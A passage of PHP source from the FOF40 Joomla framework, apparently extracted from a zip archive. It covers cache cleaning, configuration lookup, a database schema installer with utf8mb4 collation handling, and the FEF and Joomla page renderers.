TYPEHINT MORE SPECIFICALLY! * * @return array Cache controller options, including cleaning result * @throws Exception */ private static function clearCacheGroupJoomla4(string $group, int $client_id, object $app): array { // Get the default cache folder. Start by using the JPATH_CACHE constant. $cacheBaseDefault = JPATH_CACHE; $appClientId = 0; if (method_exists($app, 'getClientId')) { $appClientId = $app->getClientId(); } // -- If we are asked to clean cache on the other side of the application we need to find a new cache base if ($client_id != $appClientId) { $cacheBaseDefault = (($client_id) ? JPATH_SITE : JPATH_ADMINISTRATOR) . '/cache'; } // Get the cache controller's options $options = [ 'defaultgroup' => $group, 'cachebase' => self::getAppConfigParam($app, 'cache_path', $cacheBaseDefault), 'result' => true, ]; try { $container = Factory::getContainer(); if (empty($container)) { throw new \RuntimeException('Cannot get Joomla 4 application container'); } /** @var CacheControllerFactoryInterface $cacheControllerFactory */ $cacheControllerFactory = $container->get('cache.controller.factory'); if (empty($cacheControllerFactory)) { throw new \RuntimeException('Cannot get Joomla 4 cache controller factory'); } /** @var CallbackController $cache */ $cache = $cacheControllerFactory->createCacheController('callback', $options); if (empty($cache) || !property_exists($cache, 'cache') || !method_exists($cache->cache, 'clean')) { throw new \RuntimeException('Cannot get Joomla 4 cache controller'); } $cache->cache->clean(); } catch (CacheExceptionInterface $exception) { $options['result'] = false; } catch (Throwable $e) { $options['result'] = false; } return $options; } private static function getAppConfigParam(?object $app, string $key, $default = null) { /** * Any kind of Joomla CMS, Web, API or CLI application extends from AbstractApplication and has the get() * method to return application configuration parameters. */ if (is_object($app) && ($app instanceof AbstractApplication)) { return $app->get($key, $default); } /** * A custom application may instead implement the Joomla\Application\ConfigurationAwareApplicationInterface * interface (Joomla 4+), in whihc case it has the get() method to return application configuration parameters. */ if (is_object($app) && interface_exists('Joomla\Application\ConfigurationAwareApplicationInterface', true) && ($app instanceof ConfigurationAwareApplicationInterface)) { return $app->get($key, $default); } /** * A Joomla 3 custom application may simply implement the get() method without implementing an interface. */ if (is_object($app) && method_exists($app, 'get')) { return $app->get($key, $default); } /** * At this point the $app variable is not an object or is something I can't use. Does the Joomla Factory still * has the legacy static method getConfig() to get the application configuration? If so, use it. */ if (method_exists(Factory::class, 'getConfig')) { try { $jConfig = Factory::getConfig(); if (is_object($jConfig) && ($jConfig instanceof Registry)) { $jConfig->get($key, $default); } } catch (Throwable $e) { /** * Factory tries to go through the application object. It might fail if there is a custom application * which doesn't implement the interfaces Factory expects. In this case we get a Fatal Error whcih we * can trap and fall through to the next if-block. */ } } /** * When we are here all hope is nearly lost. We have to do a crude approximation of Joomla Factory's code to * create an application configuration Registry object and retrieve the configuration values. This will work as * long as the JConfig class (defined in configuration.php) has been loaded. */ $configPath = defined('JPATH_CONFIGURATION') ? JPATH_CONFIGURATION : (defined('JPATH_ROOT') ? JPATH_ROOT : null); $configPath = $configPath ?? (__DIR__ . '/../../..'); $configFile = $configPath . '/configuration.php'; if (!class_exists('JConfig') && @file_exists($configFile) && @is_file($configFile) && @is_readable($configFile)) { require_once $configFile; } if (class_exists('JConfig')) { try { $jConfig = new Registry(); $configObject = new \JConfig(); $jConfig->loadObject($configObject); return $jConfig->get($key, $default); } catch (Throwable $e) { return $default; } } /** * All hope is lost. I can't find the application configuration. I am returning the default value and hope stuff * won't break spectacularly... */ return $default; } } PK���\��qp�a�afof40/Database/Installer.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Database; defined('_JEXEC') || die; use Exception; use JDatabaseDriver; use Joomla\CMS\Filesystem\Folder; use Joomla\Database\DatabaseDriver; use SimpleXMLElement; class Installer { /** @var array Internal cache for table list */ protected static $allTables = []; /** @var JDatabaseDriver The database connector object */ private $db; /** @var string The directory where the XML schema files are stored */ private $xmlDirectory; /** @var string|null Force a specific **absolute** file path for the XML schema file */ private $forcedFile; /** * Public constructor * * @param JDatabaseDriver|DatabaseDriver $db The database driver we're going to use to install the tables * @param string $directory The directory holding the XML schema update files */ public function __construct($db, string $directory) { $this->db = $db; $this->xmlDirectory = $directory; } /** * Returns the directory where XML schema files are stored * * @return string * * @codeCoverageIgnore */ public function getXmlDirectory(): string { return $this->xmlDirectory; } /** * Sets the directory where XML schema files are stored * * @param string $xmlDirectory * * @codeCoverageIgnore */ public function setXmlDirectory(string $xmlDirectory) { $this->xmlDirectory = $xmlDirectory; } /** * Returns the absolute path to the forced XML schema file * * @return string * * @codeCoverageIgnore */ public function getForcedFile(): string { return $this->forcedFile; } /** * Sets the absolute path to an XML schema file which will be read no matter what. Set to a blank string to let the * Installer class auto-detect your schema file based on your database type. * * @param string $forcedFile * * @codeCoverageIgnore */ public function setForcedFile(string $forcedFile) { $this->forcedFile = $forcedFile; } /** * Clears the internal table list cache * * @return void */ public function nukeCache(): void { static::$allTables = []; } /** * Creates or updates the database schema * * @return void * * @throws Exception When a database query fails and it doesn't have the canfail flag */ public function updateSchema(): void { // Get the schema XML file $xml = $this->findSchemaXml(); if (empty($xml)) { return; } // Make sure there are SQL commands in this file if (!$xml->sql) { return; } // Walk the sql > action tags to find all tables /** @var SimpleXMLElement $actions */ $actions = $xml->sql->children(); /** * The meta/autocollation node defines if I should automatically apply the correct collation (utf8 or utf8mb4) * to the database tables managed by the schema updater. When enabled (default) the queries are automatically * converted to the correct collation (utf8mb4_unicode_ci or utf8_general_ci) depending on whether your Joomla! * and MySQL server support Multibyte UTF-8 (UTF8MB4). Moreover, if UTF8MB4 is supported, all CREATE TABLE * queries are analyzed and the tables referenced in them are auto-converted to the proper utf8mb4 collation. */ $autoCollationConversion = true; if ($xml->meta->autocollation) { $value = (string) $xml->meta->autocollation; $value = trim($value); $value = strtolower($value); $autoCollationConversion = in_array($value, ['true', '1', 'on', 'yes']); } $hasUtf8mb4Support = method_exists($this->db, 'hasUTF8mb4Support') && $this->db->hasUTF8mb4Support(); $tablesToConvert = []; // If we have an uppercase db prefix we can expect CREATE TABLE fail because we cannot detect reliably // the existence of database tables. See https://github.com/joomla/joomla-cms/issues/10928#issuecomment-228549658 $prefix = $this->db->getPrefix(); $canFailCreateTable = preg_match('/[A-Z]/', $prefix); /** @var SimpleXMLElement $action */ foreach ($actions as $action) { // Get the attributes $attributes = $action->attributes(); // Get the table / view name $table = $attributes->table ? (string) $attributes->table : ''; if (empty($table)) { continue; } // Am I allowed to let this action fail? $canFailAction = $attributes->canfail ?: 0; // Evaluate conditions $shouldExecute = true; /** @var SimpleXMLElement $node */ foreach ($action->children() as $node) { if ($node->getName() == 'condition') { // Get the operator $operator = $node->attributes()->operator ? (string) $node->attributes()->operator : 'and'; $operator = empty($operator) ? 'and' : $operator; $condition = $this->conditionMet($table, $node); switch ($operator) { case 'not': $shouldExecute = $shouldExecute && !$condition; break; case 'or': $shouldExecute = $shouldExecute || $condition; break; case 'nor': $shouldExecute = !$shouldExecute && !$condition; break; case 'xor': $shouldExecute = ($shouldExecute xor $condition); break; case 'maybe': $shouldExecute = $condition ? true : $shouldExecute; break; default: $shouldExecute = $shouldExecute && $condition; break; } } // DO NOT USE BOOLEAN SHORT CIRCUIT EVALUATION! // if (!$shouldExecute) break; } // Do I have to only collect the tables from CREATE TABLE queries? $onlyCollectTables = !$shouldExecute && $autoCollationConversion && $hasUtf8mb4Support; // Make sure all conditions are met OR I have to collect tables from CREATE TABLE queries. if (!$shouldExecute && !$onlyCollectTables) { continue; } // Execute queries foreach ($action->children() as $node) { if ($node->getName() == 'query') { $query = (string) $node; if ($autoCollationConversion && $hasUtf8mb4Support) { $this->extractTablesToConvert($query, $tablesToConvert); } // If we're only collecting tables do not run the queries if ($onlyCollectTables) { continue; } $canFail = $node->attributes->canfail ? (string) $node->attributes->canfail : $canFailAction; if (is_string($canFail)) { $canFail = strtoupper($canFail); } $canFail = (in_array($canFail, [true, 1, 'YES', 'TRUE'])); // Do I need to automatically convert the collation of all CREATE / ALTER queries? if ($autoCollationConversion) { $query = $hasUtf8mb4Support ? $this->convertUtf8QueryToUtf8mb4($query) : $this->convertUtf8mb4QueryToUtf8($query); } try { $this->db->setQuery($query); $this->db->execute(); } catch (Exception $e) { // Special consideration for CREATE TABLE commands on uppercase prefix databases. if ($canFailCreateTable && stripos($query, 'CREATE TABLE') !== false) { $canFail = true; } // If we are not allowed to fail, throw back the exception we caught if (!$canFail) { throw $e; } } } } } // Auto-convert the collation of tables if we are told to do so, have utf8mb4 support and a list of tables. if (!$autoCollationConversion) { return; } if (!$hasUtf8mb4Support) { return; } if (empty($tablesToConvert)) { return; } $this->convertTablesToUtf8mb4($tablesToConvert); } /** * Uninstalls the database schema * * @return void */ public function removeSchema(): void { // Get the schema XML file $xml = $this->findSchemaXml(); if (empty($xml)) { return; } // Make sure there are SQL commands in this file if (!$xml->sql) { return; } // Walk the sql > action tags to find all tables $tables = []; /** @var SimpleXMLElement $actions */ $actions = $xml->sql->children(); /** @var SimpleXMLElement $action */ foreach ($actions as $action) { $attributes = $action->attributes(); $table = $attributes->table ? (string) $attributes->table : ''; $isCreate = false; foreach ($action->children() as $node) { if ($node->getName() != 'query') { continue; } $query = (string) $node; // Normalize the whitespace of the query $query = trim($query); $query = str_replace(["\r\n", "\r", "\n"], ' ', $query); while (strstr($query, ' ') !== false) { $query = str_replace(' ', ' ', $query); } // Is it a create table query? $queryStart = substr($query, 0, 12); $queryStart = strtoupper($queryStart); $isCreate = $isCreate || ($queryStart == 'CREATE TABLE'); if ($isCreate) { break; } } // Only take into account actions with a CREATE TABLE command. if ($isCreate) { $tables[] = $table; } } // Simplify the tables list $tables = array_unique($tables); // Start dropping tables foreach ($tables as $table) { try { $this->db->dropTable($table); } catch (Exception $e) { // Do not fail if I can't drop the table } } } /** * Find an suitable schema XML file for this database type and return the SimpleXMLElement holding its information * * @return null|SimpleXMLElement Null if no suitable schema XML file is found */ protected function findSchemaXml(): ?SimpleXMLElement { $xml = null; // Do we have a forced file? if (!empty($this->forcedFile)) { $xml = $this->openAndVerify($this->forcedFile); if (!is_null($xml)) { return $xml; } } // Get all XML files in the schema directory $xmlFiles = Folder::files($this->xmlDirectory, '\.xml$'); if (empty($xmlFiles)) { return $xml; } foreach ($xmlFiles as $baseName) { // Remove any accidental whitespace $baseName = trim($baseName); // Get the full path to the file $fileName = $this->xmlDirectory . '/' . $baseName; $xml = $this->openAndVerify($fileName); if (!is_null($xml)) { return $xml; } } return null; } /** * Opens the schema XML file and return the SimpleXMLElement holding its information. If the file doesn't exist, it * is not a schema file or it doesn't match our database driver we return boolean false. * * @return false|SimpleXMLElement False if it's not a suitable XML schema file */ protected function openAndVerify($fileName): ?SimpleXMLElement { $driverType = $this->db->name; // Make sure the file exists if (!@file_exists($fileName)) { return null; } // Make sure the file is a valid XML document try { $xml = new SimpleXMLElement($fileName, LIBXML_NONET, true); } catch (Exception $e) { $xml = null; return null; } // Make sure the file is an XML schema file if ($xml->getName() != 'schema') { $xml = null; return null; } if (!$xml->meta) { $xml = null; return null; } if (!$xml->meta->drivers) { $xml = null; return null; } /** @var SimpleXMLElement $drivers */ $drivers = $xml->meta->drivers; foreach ($drivers->children() as $driverTypeTag) { if ((string) $driverTypeTag === $driverType) { return $xml; } } // Some custom database drivers use a non-standard $name variable. Let try a relaxed match. foreach ($drivers->children() as $driverTypeTag) { $thisDriverType = (string) $driverTypeTag; if ( // e.g. $driverType = 'mysqlisilly', $thisDriverType = 'mysqli' => driver matched strpos($driverType, $thisDriverType) === 0 // e.g. $driverType = 'sillymysqli', $thisDriverType = 'mysqli' => driver matched || (substr($driverType, -strlen($thisDriverType)) === $thisDriverType) ) { return $xml; } } return null; } /** * Checks if a condition is met * * @param string $table The table we're operating on * @param SimpleXMLElement $node The condition definition node * * @return bool */ protected function conditionMet(string $table, SimpleXMLElement $node): bool { if (empty(static::$allTables)) { static::$allTables = $this->db->getTableList(); } // Does the table exist? $tableNormal = $this->db->replacePrefix($table); $tableExists = in_array($tableNormal, static::$allTables); // Initialise $condition = false; // Get the condition's attributes $attributes = $node->attributes(); $type = $attributes->type ?: null; $value = $attributes->value ? (string) $attributes->value : null; switch ($type) { // Check if a table or column is missing case 'missing': $fieldName = (string) $value; if (empty($fieldName)) { $condition = !$tableExists; } else { try { $tableColumns = $this->db->getTableColumns($tableNormal, true); } catch (Exception $e) { $tableColumns = []; } $condition = !array_key_exists($fieldName, $tableColumns); } break; // Check if a column type matches the "coltype" attribute case 'type': try { $tableColumns = $this->db->getTableColumns($tableNormal, true); } catch (Exception $e) { $tableColumns = []; } $condition = false; if (array_key_exists($value, $tableColumns)) { $coltype = $attributes->coltype ?: null; if (!empty($coltype)) { $coltype = strtolower($coltype); $currentType = is_string($tableColumns[$value]) ? $tableColumns[$value] : strtolower($tableColumns[$value]->Type); $condition = ($coltype === $currentType); } } break; // Check if a column is nullable case 'nullable': try { $tableColumns = $this->db->getTableColumns($tableNormal, true); } catch (Exception $e) { $tableColumns = []; } $condition = false; if (array_key_exists($value, $tableColumns)) { $condition = (is_string($tableColumns[$value]) ? 'YES' : strtolower($tableColumns[$value]->Null)) == 'yes'; } break; // Check if a (named) index exists on the table. Currently only supported on MySQL. case 'index': $indexName = (string) $value; $condition = true; if (!empty($indexName)) { $indexName = str_replace('#__', $this->db->getPrefix(), $indexName); $condition = $this->hasIndex($tableNormal, $indexName); } break; // Check if a table or column needs to be upgraded to utf8mb4 case 'utf8mb4upgrade': $condition = false; // Check if the driver and the database connection have UTF8MB4 support if (method_exists($this->db, 'hasUTF8mb4Support') && $this->db->hasUTF8mb4Support()) { $fieldName = (string) $value; if (empty($fieldName)) { $collation = $this->getTableCollation($tableNormal); } else { $collation = $this->getColumnCollation($tableNormal, $fieldName); } $parts = explode('_', $collation, 3); $encoding = empty($parts[0]) ? '' : strtolower($parts[0]); $condition = $encoding != 'utf8mb4'; } break; // Check if the result of a query matches our expectation case 'equals': $query = (string) $node; try { // DO NOT use $this->db->replacePrefix. It does not replace the prefix in strings, only entity names $query = str_replace('#__', $this->db->getPrefix(), $query); $this->db->setQuery($query); $result = $this->db->loadResult(); $condition = ($result == $value); } catch (Exception $e) { return false; } break; // Always returns true case 'true': return true; default: return false; } return $condition; } /** * Get the collation of a table. Uses an internal cache for efficiency. * * @param string $tableName The name of the table * * @return string The collation, e.g. "utf8_general_ci" */ private function getTableCollation(string $tableName): string { static $cache = []; $tableName = $this->db->replacePrefix($tableName); if (!isset($cache[$tableName])) { $cache[$tableName] = $this->realGetTableCollation($tableName); } return $cache[$tableName]; } /** * Get the collation of a table. This is the internal method used by getTableCollation. * * @param string $tableName The name of the table * * @return string The collation, e.g. "utf8_general_ci" */ private function realGetTableCollation(string $tableName): string { $utf8Support = method_exists($this->db, 'hasUTFSupport') && $this->db->hasUTFSupport(); $utf8mb4Support = $utf8Support && method_exists($this->db, 'hasUTF8mb4Support') && $this->db->hasUTF8mb4Support(); $collation = $utf8mb4Support ? 'utf8mb4_unicode_ci' : ($utf8Support ? 'utf_general_ci' : 'latin1_swedish_ci'); $query = 'SHOW TABLE STATUS LIKE ' . $this->db->q($tableName); try { $row = $this->db->setQuery($query)->loadAssoc(); } catch (Exception $e) { return $collation; } if (empty($row)) { return $collation; } if (!isset($row['Collation'])) { return $collation; } if (empty($row['Collation'])) { return $collation; } return $row['Collation']; } /** * Get the collation of a column. Uses an internal cache for efficiency. * * @param string $tableName The name of the table * @param string $columnName The name of the column * * @return string The collation, e.g. "utf8_general_ci" */ private function getColumnCollation(string $tableName, string $columnName): string { static $cache = []; $tableName = $this->db->replacePrefix($tableName); $columnName = $this->db->replacePrefix($columnName); if (!isset($cache[$tableName])) { $cache[$tableName] = []; } if (!isset($cache[$tableName][$columnName])) { $cache[$tableName][$columnName] = $this->realGetColumnCollation($tableName, $columnName); } return $cache[$tableName][$columnName]; } /** * Get the collation of a column. This is the internal method used by getColumnCollation. * * @param string $tableName The name of the table * @param string $columnName The name of the column * * @return string The collation, e.g. "utf8_general_ci" */ private function realGetColumnCollation(string $tableName, string $columnName): string { $collation = $this->getTableCollation($tableName); $query = 'SHOW FULL COLUMNS FROM ' . $this->db->qn($tableName) . ' LIKE ' . $this->db->q($columnName); try { $row = $this->db->setQuery($query)->loadAssoc(); } catch (Exception $e) { return $collation; } if (empty($row)) { return $collation; } if (!isset($row['Collation'])) { return $collation; } if (empty($row['Collation'])) { return $collation; } return $row['Collation']; } /** * Automatically downgrade a CREATE TABLE or ALTER TABLE query from utf8mb4 (UTF-8 Multibyte) to plain utf8. * * We use our own method so we can be site it works even on Joomla! 3.4 or earlier, where UTF8MB4 support is not * implemented. * * @param string $query The query to convert * * @return string The converted query */ private function convertUtf8mb4QueryToUtf8(string $query): string { // If it's not an ALTER TABLE or CREATE TABLE command there's nothing to convert $beginningOfQuery = substr($query, 0, 12); $beginningOfQuery = strtoupper($beginningOfQuery); if (!in_array($beginningOfQuery, ['ALTER TABLE ', 'CREATE TABLE'])) { return $query; } // Replace utf8mb4 with utf8 $from = [ 'utf8mb4_unicode_ci', 'utf8mb4_', 'utf8mb4', ]; $to = [ 'utf8_general_ci', // Yeah, we convert utf8mb4_unicode_ci to utf8_general_ci per Joomla!'s conventions 'utf8_', 'utf8', ]; return str_replace($from, $to, $query); } /** * Automatically upgrade a CREATE TABLE or ALTER TABLE query from plain utf8 to utf8mb4 (UTF-8 Multibyte). * * @param string $query The query to convert * * @return string The converted query */ private function convertUtf8QueryToUtf8mb4(string $query): string { // If it's not an ALTER TABLE or CREATE TABLE command there's nothing to convert $beginningOfQuery = substr($query, 0, 12); $beginningOfQuery = strtoupper($beginningOfQuery); if (!in_array($beginningOfQuery, ['ALTER TABLE ', 'CREATE TABLE'])) { return $query; } // Replace utf8 with utf8mb4 $from = [ 'utf8_general_ci', 'utf8_', 'utf8', ]; $to = [ 'utf8mb4_unicode_ci', // Yeah, we convert utf8_general_ci to utf8mb4_unicode_ci per Joomla!'s conventions 'utf8mb4_', 'utf8mb4', ]; return str_replace($from, $to, $query); } /** * Analyzes a query. If it's a CREATE TABLE query the table is added to the $tables array. * * @param string $query The query to analyze * @param string[] $tables The array where the name of the detected table is added * * @return void */ private function extractTablesToConvert(string $query, array &$tables): void { // Normalize the whitespace of the query $query = trim($query); $query = str_replace(["\r\n", "\r", "\n"], ' ', $query); while (strstr($query, ' ') !== false) { $query = str_replace(' ', ' ', $query); } // Is it a create table query? $queryStart = substr($query, 0, 12); $queryStart = strtoupper($queryStart); if ($queryStart != 'CREATE TABLE') { return; } // Remove the CREATE TABLE keyword. Also, If there's an IF NOT EXISTS clause remove it. $query = substr($query, 12); $query = str_ireplace('IF NOT EXISTS', '', $query); $query = trim($query); // Make sure there is a space between the table name and its definition, denoted by an open parenthesis $query = str_replace('(', ' (', $query); // Now we should have the name of the table, a space and the rest of the query. Extract the table name. $parts = explode(' ', $query, 2); $tableName = $parts[0]; /** * The table name may be quoted. Since UTF8MB4 is only supported in MySQL, the table name can only be * quoted with surrounding backticks. Therefore we can trim backquotes from the table name to unquote it! **/ $tableName = trim($tableName, '`'); // Finally, add the table name to $tables if it doesn't already exist. if (!in_array($tableName, $tables)) { $tables[] = $tableName; } } /** * Converts the collation of tables listed in $tablesToConvert to utf8mb4_unicode_ci * * @param array $tablesToConvert The list of tables to convert * * @return void */ private function convertTablesToUtf8mb4(array $tablesToConvert): void { // Make sure the database driver REALLY has support for converting character sets if (!method_exists($this->db, 'getAlterTableCharacterSet')) { return; } asort($tablesToConvert); foreach ($tablesToConvert as $tableName) { $collation = $this->getTableCollation($tableName); $parts = explode('_', $collation, 3); $encoding = empty($parts[0]) ? '' : strtolower($parts[0]); if ($encoding != 'utf8mb4') { $queries = $this->db->getAlterTableCharacterSet($tableName); try { foreach ($queries as $query) { $this->db->setQuery($query)->execute(); } } catch (Exception $e) { // We ignore failed conversions. Remember, you MUST change your indices MANUALLY. } } } } /** * Returns true if table $tableName has an index named $indexName or if it's impossible to retrieve index names for * the table (not enough privileges, not a MySQL database, ...) * * @param string $tableName The name of the table * @param string $indexName The name of the index * * @return bool */ private function hasIndex(string $tableName, string $indexName): bool { static $isMySQL = null; static $cache = []; if (is_null($isMySQL)) { $driverType = $this->db->name; $driverType = strtolower($driverType); $isMySQL = true; if ( !strpos($driverType, 'mysql') === 0 && substr($driverType, -5) != 'mysql' && substr($driverType, -6) != 'mysqli' ) { $isMySQL = false; } } // Not MySQL? Lie and return true. if (!$isMySQL) { return true; } if (!isset($cache[$tableName])) { $cache[$tableName] = []; } if (!isset($cache[$tableName][$indexName])) { $cache[$tableName][$indexName] = true; try { $indices = []; $query = 'SHOW INDEXES FROM ' . $this->db->qn($tableName); $indexDefinitions = $this->db->setQuery($query)->loadAssocList(); if (!empty($indexDefinitions) && is_array($indexDefinitions)) { foreach ($indexDefinitions as $def) { $indices[] = $def['Key_name']; } $indices = array_unique($indices); } $cache[$tableName][$indexName] = in_array($indexName, $indices); } catch (Exception $e) { // Ignore errors } } return $cache[$tableName][$indexName]; } } PK���\?���fof40/Render/FEF.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Render; defined('_JEXEC') || die; use FOF40\Container\Container; /** * Renderer class for use with Akeeba FEF * * Renderer options * * wrapper_id The ID of the wrapper DIV. Default: akeeba-rendered-fef * linkbar_style Style for linkbars: joomla3|classic. Default: joomla3 * load_fef Load FEF CSS? Set to false if you are loading it outside the renderer. Default: true * load_fef_js Load FEF JS? Set to false if you are loading it outside the rendered. Default: true * load_fef_js_minimal Load the minimal FEF JS (without features depending on FEF CSS)? Default: inverse of load_fef * fef_reset Should I reset the CSS styling for basic HTML elements inside the FEF container? Default: true * fef_dark Should I load the FEF Dark Mode CSS and supporting JS? Default: 0 (no). Options: 1 (yes and * activate immediately), -1 (include dark.css but not enable by default, also enables auto mode * for Safari) * custom_css Comma-separated list of custom CSS files to load _after_ the main FEF CSS file, e.g. * media://com_foo/css/bar.min.css,media://com_foo/css/baz.min.css * remove_wrapper_classes Comma-separated list of classes to REMOVE from the container * add_wrapper_classes Comma-separated list of classes to ADD to the container * * Note: when Dark Mode is enabled the class akeeba-renderer-fef--dark is applied to the container DIV. You can use * remove_wrapper_classes to remove it e.g. when you want it to be enabled only through a JavaScript-powered toggle. * * @package FOF40\Render */ class FEF extends Joomla { public function __construct(Container $container) { parent::__construct($container); $helperFile = JPATH_SITE . '/media/fef/fef.php'; if (!class_exists('AkeebaFEFHelper') && is_file($helperFile)) { include_once $helperFile; } $this->priority = 20; $this->enabled = class_exists('AkeebaFEFHelper'); } public function initialise(string $view, string $task): void { $useReset = $this->getOption('fef_reset', 1); $useFefCss = $this->getOption('load_fef', 1); $useFefJs = $this->getOption('load_fef_js', 1); $minimalJs = $this->getOption('load_fef_js_minimal', $useFefCss ? 0 : 1); $useDarkMode = $this->getOption('fef_dark', 0); if (class_exists('AkeebaFEFHelper')) { if ($useFefCss) { \AkeebaFEFHelper::loadCSSFramework((bool) $useReset, (bool) $useDarkMode != 0); } if ($useFefJs) { \AkeebaFEFHelper::loadJSFramework((bool) $minimalJs); } } // Unlike the Joomla renderer we do NOT load jQuery unless explicitly enabled $loadJQuery = $this->getOption('load_jquery', false); $this->setOption('load_jquery', $loadJQuery ? 1 : 0); parent::initialise($view, $task); } /** * Opens the FEF styling wrapper element. Our component's output will be inside this wrapper. * * @param array $classes An array of additional CSS classes to add to the outer page wrapper element. * * @return void */ protected function openPageWrapper(array $classes): void { $useDarkMode = $this->getOption('fef_dark', false); if (($useDarkMode == 1) && !in_array('akeeba-renderer-fef--dark', $classes)) { $classes[] = 'akeeba-renderer-fef--dark'; } /** * Remove wrapper classes. By default these are classes for the Joomla 3 sidebar which is not used in FEF * components anymore. */ $removeClasses = $this->getOption('remove_wrapper_classes', [ 'j-toggle-main', 'j-toggle-transition', 'row-fluid', ]); if (!is_array($removeClasses)) { $removeClasses = explode(',', $removeClasses); } $removeClasses = array_map('trim', $removeClasses); foreach ($removeClasses as $class) { $x = array_search($class, $classes); if ($x !== false) { unset($classes[$x]); } } // Add the following classes to the wrapper div $addClasses = $this->getOption('add_wrapper_classes', ''); if (!is_array($addClasses)) { $addClasses = explode(',', $addClasses); } $addClasses = array_map('trim', $addClasses); $customClasses = implode(' ', array_unique(array_merge($classes, $addClasses))); $id = $this->getOption('wrapper_id', 'akeeba-renderer-fef'); $id = empty($id) ? "" : sprintf(' id="%s"', $id); echo <<< HTML <div id="akeeba-renderer-fef" class="akeeba-renderer-fef $customClasses"$id> HTML; } /** * Close the FEF styling wrapper element. * * @return void */ protected function closePageWrapper(): void { echo <<< HTML </div> HTML; } } PK���\��M�,4,4fof40/Render/Joomla.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Render; defined('_JEXEC') || die; use FOF40\Container\Container; use FOF40\Toolbar\Toolbar; use JHtmlSidebar; use Joomla\CMS\Factory as JoomlaFactory; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Toolbar\Toolbar as JoomlaToolbar; /** * Renderer class for use with Joomla! 3.x and 4.x * * Renderer options * * wrapper_id The ID of the wrapper DIV. Default: akeeba-renderjoomla * linkbar_style Style for linkbars: joomla3|classic. Default: joomla3 * remove_wrapper_classes Comma-separated list of classes to REMOVE from the container * add_wrapper_classes Comma-separated list of classes to ADD to the container * * @package FOF40\Render * @since 3.6.0 */ class Joomla extends RenderBase implements RenderInterface { /** @inheritDoc */ public function __construct(Container $container) { $this->priority = 30; $this->enabled = true; parent::__construct($container); } /** * Performs initialisation. * * This is where we load any CSS and JavaScript frameworks. For this renderer we load the core Joomla JavaScript * and the jQuery framework. * * The following renderer options are recognised: * * load_core. Should I load the Joomla core JavaScript if it's not already loaded? * * load_jquery. Should I load jQuery if it's not already loaded? * * @param string $view The current view * @param string $task The current task * * @return void * @since 4.0.0 */ public function initialise(string $view, string $task): void { $input = $this->container->input; $platform = $this->container->platform; $format = $input->getCmd('format', 'html'); if (empty($format)) { $format = 'html'; } if ($format != 'html') { return; } if ($platform->isCli()) { return; } if ($this->getOption('load_core', true)) { HTMLHelper::_('behavior.core'); } if ($this->getOption('load_jquery', true)) { HTMLHelper::_('jquery.framework', true); } parent::initialise($view, $task); // TODO: Change the autogenerated stub } /** * Echoes any HTML to show before the view template * * @param string $view The current view * @param string $task The current task * * @return void */ function preRender(string $view, string $task): void { $input = $this->container->input; $platform = $this->container->platform; $format = $input->getCmd('format', 'html'); if (empty($format)) { $format = 'html'; } if ($format != 'html') { return; } if ($platform->isCli()) { return; } // Wrap output in various classes $versionParts = explode('.', JVERSION); $minorVersion = $versionParts[0] . $versionParts[1]; $majorVersion = $versionParts[0]; $classes = []; if ($platform->isBackend()) { $area = $platform->isBackend() ? 'admin' : 'site'; $option = $input->getCmd('option', ''); $viewForCssClass = $input->getCmd('view', ''); $layout = $input->getCmd('layout', ''); $taskForCssClass = $input->getCmd('task', ''); $classes = [ 'joomla-version-' . $majorVersion, 'joomla-version-' . $minorVersion, $area, $option, 'view-' . $view, 'view-' . $viewForCssClass, 'layout-' . $layout, 'task-' . $task, 'task-' . $taskForCssClass, // We have a floating sidebar, they said. It looks great, they said. They must've been blind, I say! 'j-toggle-main', 'j-toggle-transition', 'row-fluid', ]; $classes = array_unique($classes); } // Render the submenu and toolbar if ($input->getBool('render_toolbar', true)) { $this->renderButtons($view, $task); $this->renderLinkbar($view, $task); } $this->openPageWrapper($classes); parent::preRender($view, $task); } /** * Echoes any HTML to show after the view template * * @param string $view The current view * @param string $task The current task * * @return void */ function postRender(string $view, string $task): void { $input = $this->container->input; $platform = $this->container->platform; $format = $input->getCmd('format', 'html'); if (empty($format)) { $format = 'html'; } if ($format != 'html') { return; } // Closing tag only if we're not in CLI if ($platform->isCli()) { return; } // Closes akeeba-renderjoomla div $this->closePageWrapper(); } /** * Renders the submenu (link bar) * * @param string $view The active view name * @param string $task The current task * * @return void */ protected function renderLinkbar(string $view, string $task): void { $style = $this->getOption('linkbar_style', 'joomla'); switch ($style) { case 'joomla': $this->renderLinkbar_joomla($view, $task); break; case 'classic': default: $this->renderLinkbar_classic($view, $task); break; } } /** * Renders the submenu (link bar) in FOF's classic style, using a Bootstrapped * tab bar. * * @param string $view The active view name * @param string $task The current task * * @return void */ protected function renderLinkbar_classic(string $view, string $task): void { $platform = $this->container->platform; if ($platform->isCli()) { return; } $isJoomla4 = version_compare(JVERSION, '3.99999.99999', 'gt'); $isJoomla3 = !$isJoomla4 && version_compare(JVERSION, '3.0.0', 'ge'); // Do not render a submenu unless we are in the the admin area $toolbar = $this->container->toolbar; $renderFrontendSubmenu = $toolbar->getRenderFrontendSubmenu(); if (!$platform->isBackend() && !$renderFrontendSubmenu) { return; } $links = $toolbar->getLinks(); if ($isJoomla4) { try { HTMLHelper::_('bootstrap.tab'); } catch (\Exception $e) { // Since RC1 this is no longer available. } HTMLHelper::_('bootstrap.dropdown'); } if (!empty($links)) { echo "<ul class=\"nav nav-tabs\">\n"; foreach ($links as $link) { $dropdown = false; if (array_key_exists('dropdown', $link)) { $dropdown = $link['dropdown']; } if ($dropdown) { echo "<li"; $class = 'nav-item dropdown'; $subMenuActive = array_reduce($link['items'], function ($carry, $item) { return $carry || $item['active'] ?? false; }, false); if ($subMenuActive || $link['active']) { $class .= ' active'; } echo ' class="' . $class . '">'; if ($isJoomla3) { echo '<a class="nav-link dropdown-toggle" data-toggle="dropdown" href="#">'; } else { $tabActiveClass = ($subMenuActive || $link['active']) ? 'active' : ''; echo '<a class="nav-link dropdown-toggle '.$tabActiveClass.'" data-bs-toggle="dropdown" href="#">'; } if 